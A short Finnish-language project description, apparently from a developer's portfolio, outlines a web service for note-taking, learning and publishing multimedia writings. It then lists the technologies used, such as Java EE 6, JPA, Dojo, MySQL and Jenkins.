Tarkoituksena ollut kehittää verkkopalvelu, joka palvelisi sen käyttäjiä mm. seuraavissa tarpeissa: havaintojen ylöskirjaaminen, itseoppiminen, tiedon järjestely ja julkaiseminen, tiedon tuottaminen, ajatusten jäsentely ja asioiden muistaminen. Lopputuotteena ovat haluttaessa julkiseksi(kin) asetettavat kirjoitukset, jotka voivat koostua erilaisista kerätyistä tai generoiduista aineksista kuten videoleikkeistä, kaavioista, kuvista, piirroksista yms. havainnollistavasta materiaalista. Työn alla olevaa teosta voi tarkastella useista eri "perspektiiveistä". Teoksiin sisällytettäväksi voi tuoda aineistoa ulkoisista tietolähteistä tai omilta päätelaitteilta.

Java EE 6, JAXB, JPA, EclipseLink, Eclipse, Oxygen XML, Visual Paradigm for UML, Dojo, jQuery, HTML5, CSS 2.1, MySQL, OrientDB, XML, JavaScript, NoSQL, JNDI, Tomcat 7, CloudBees, Amazon AWS, Jasmine, DOH Robot, UML, Microsoft Project, JIRA, Mylyn, Git, PureTest, CodePro Analytix, PMD, JUnit, Photoshop, Fireworks, SHA1, PayPal API, Chrome extension, Firefox Add-on, Mockingbird, Adobe AIR, MySQL Workbench, Jenkins, continuous integration, REST, async servlets + filters, refactoring, design patterns, naming conventions